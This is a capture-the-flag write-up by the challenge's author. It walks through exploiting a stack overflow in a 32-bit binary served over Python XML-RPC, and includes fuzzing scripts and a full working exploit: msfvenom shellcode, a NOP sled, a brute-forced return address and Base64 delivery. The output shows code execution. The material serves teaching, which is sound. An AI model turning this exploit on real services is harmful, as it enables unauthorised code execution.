This again is a challenge we set for InCTF Quals. The idea was inspired by the service Maya written for previous edition of InCTF. Service listens on port 6666. Participants were given the memory map of process, which shows absence of ASLR and NX. No other information was given. Here is the intented way of solving the challenge
Try connecting to the service. We get a bad request message
[*] We also register the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature. This helps to identify the registered function remotely
Now we have to use python's xmlrpclib to connect to the service
[*] First find the registered function remotely
[*] Then find the number of arguments it takes
[*] Then try calling the function to understand its working
Finding the registered function:
Call the function:
[*] Bruteforce the stack address and overwrite the EIP
[*] Use a huge NOP sled, followed by shellcode
[*] When right address is hit during bruteforce, shellcode is executed
[*] Avoid NUL byte in shellcode and the address used
Below is the exploit:
Try connecting to the service. We get a bad request message
[ctf@renorobert InCTF]$ nc 127.0.0.1 6666 qwerty <head> <title>Error response</title> </head> <body> <h1>Error response</h1> <p>Error code 400. <p>Message: Bad request syntax ('qwerty'). <p>Error code explanation: 400 = Bad request syntax or unsupported method. </body>Now lets figure out whats running on port 6666 using nmap
[ctf@renorobert InCTF]$ nmap -A 127.0.0.1 -p6666 ........................................ PORT STATE SERVICE VERSION 6666/tcp open http Python SimpleXMLRPCServer (BaseHTTP 0.3; Python 2.7.3) |_html-title: Error responseNmap shows Python SimpleXMLRPCServer running on port 6666. Here is the python wrapper thats running the binary
#!/usr/bin/env python from SimpleXMLRPCServer import SimpleXMLRPCServer import subprocess import signal def encrypt(arg): data = subprocess.Popen(['./service', str(arg)], stdout=subprocess.PIPE, env=None, close_fds=True,) return data.stdout.read() signal.signal(signal.SIGCHLD, signal.SIG_IGN) server = SimpleXMLRPCServer(("0.0.0.0", 6666), allow_none=True) server.register_introspection_functions() server.register_function(encrypt) server.logRequests = 0 server.serve_forever()Some information from python docs:
SimpleXMLRPCServer.register_function(function[, name]) Register a function that can respond to XML-RPC requests SimpleXMLRPCServer.register_introspection_functions() Registers the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature[*] Our python service registers function 'encrypt' to respond to XML-RPC requests
[*] We also register the XML-RPC introspection functions system.listMethods, system.methodHelp and system.methodSignature. This helps to identify the registered function remotely
Now we have to use python's xmlrpclib to connect to the service
[*] First find the registered function remotely
[*] Then find the number of arguments it takes
[*] Then try calling the function to understand its working
Finding the registered function:
#!/usr/bin/env python # fuzz.py import xmlrpclib s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False) print s.system.listMethods()
[ctf@renorobert InCTF]$ python fuzz.py ['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']Finding the number of arguments:
#!/usr/bin/env python # fuzz.py import xmlrpclib s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False) print s.system.listMethods() print s.encrypt()
[ctf@renorobert InCTF]$ python fuzz.py ['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature'] Traceback (most recent call last): File "fuzz.py", line 9, in <module> print s.encrypt() .............................................. xmlrpclib.Fault: <Fault 1: "<type 'exceptions.TypeError'>:encrypt() takes exactly 1 argument (0 given)">We get a nice error message saying we need exactly one argument and 0 given.
Call the function:
#!/usr/bin/env python # fuzz.py import xmlrpclib s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True,verbose=False) print s.system.listMethods() buffer="A"*100 print s.encrypt(buffer)
[ctf@renorobert InCTF]$ python fuzz.py ['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature'] DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDNow we get proper response from the service. The binary is very simple, it does caesar shift. When we send 160 bytes of data, there is no response
[ctf@renorobert InCTF]$ python fuzz.py ['encrypt', 'system.listMethods', 'system.methodHelp', 'system.methodSignature'] [ctf@renorobert InCTF]$Now thats a crash. Since ASLR is disabled and the given memory map reveals that the executable is 32-bit, one can bruteforce the stack address. Here is the idea of exploit:
[*] Bruteforce the stack address and overwrite the EIP
[*] Use a huge NOP sled, followed by shellcode
[*] When right address is hit during bruteforce, shellcode is executed
[*] Avoid NUL byte in shellcode and the address used
Below is the exploit:
#!/usr/bin/env python import xmlrpclib import struct import time # msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00' shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" + "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" + "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" + "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" + "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" + "\x0a\x76\xf3\xb2") s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=True) nop = struct.pack("B", 0x90) junk = "A"*128 for i in range(100): time.sleep(0.5) address = 0xffffe000 - 0x302 * i if address > 0xfffe9000: print hex(address) ret = struct.pack("<I", address) payload = junk + ret * 40 + nop * 1000 + shellcode try: print s.encrypt(payload) except: continueRunning the exploit with verbose set to True, we got the below response:
reply: 'HTTP/1.0 200 OK\r\n' header: Server: BaseHTTP/0.3 Python/2.7.3 header: Date: Tue, 11 Jun 2013 17:55:03 GMT header: Content-type: text/xml header: Content-length: 351 body: "<?xml version='1.0'?>\n<methodResponse>\n<fault>\n<value><struct>\n<member>\n<name>faultCode</name>\n<value><int>1</int></value>\n</member>\n<member>\n<name>faultString</name>\n<value><string><class 'xml.parsers.expat.ExpatError'>:not well-formed (invalid token): line 6, column 143</string></value>\n</member>\n</struct></value>\n</fault>\n</methodResponse>\n"Thats a error message saying not well-formed. So our XML is not well formed, we have to figure out a way to overcome this. Here is something from python docs
When passing strings, characters special to XML such as <, >, and & will be automatically escaped. However, it’s the caller’s responsibility to ensure that the string is free of characters that aren’t allowed in XML, such as the control characters with ASCII values between 0 and 31 (except, of course, tab, newline and carriage return); failing to do this will result in an XML-RPC request that isn’t well-formed XML. If you have to pass arbitrary strings via XML-RPC, use the Binary wrapper classSo lets encode our payload to base64. Here is our final exploit
#!/usr/bin/env python import xmlrpclib import struct import time # msfvenom -p linux/x86/exec CMD=/usr/bin/id -a x86 -b '\x00' shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xbd\x65\xa7\x25\x48\x5f\x29\xc9" + "\xb1\x0c\x83\xc7\x04\x31\x6f\x16\x03\x6f\x16\xe2\x90\xcd" + "\x2e\x10\xc3\x40\x57\xc8\xde\x07\x1e\xef\x48\xe7\x53\x98" + "\x88\x9f\xbc\x3a\xe1\x31\x4a\x59\xa3\x25\x40\x9e\x43\xb6" + "\x76\xeb\x30\xc4\xa7\x71\xdf\x46\x97\x1c\x7b\x97\xb0\x8d" + "\x0a\x76\xf3\xb2") s = xmlrpclib.ServerProxy('http://127.0.0.1:6666', allow_none=True, verbose=0) nop = struct.pack("B", 0x90) junk = "A"*128 for i in range(100): time.sleep(0.5) address = 0xffffe000 - 0x302 * i if address > 0xfffe9000: print hex(address) ret = struct.pack("<I", address) payload = junk + ret * 40 + nop * 1000 + shellcode encoded = xmlrpclib.Binary(payload) # encode payload try: print s.encrypt(encoded) except: continue
[ctf@renorobert InCTF]$ python bin800.py 0xffffe000 0xffffdcfe 0xffffd9fc 0xffffd6fa 0xffffd3f8 uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 0xffffd0f6 uid=500(ctf) gid=500(ctf) groups=500(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 0xffffcdf4 0xffffcaf2We successfully executed our shellcode!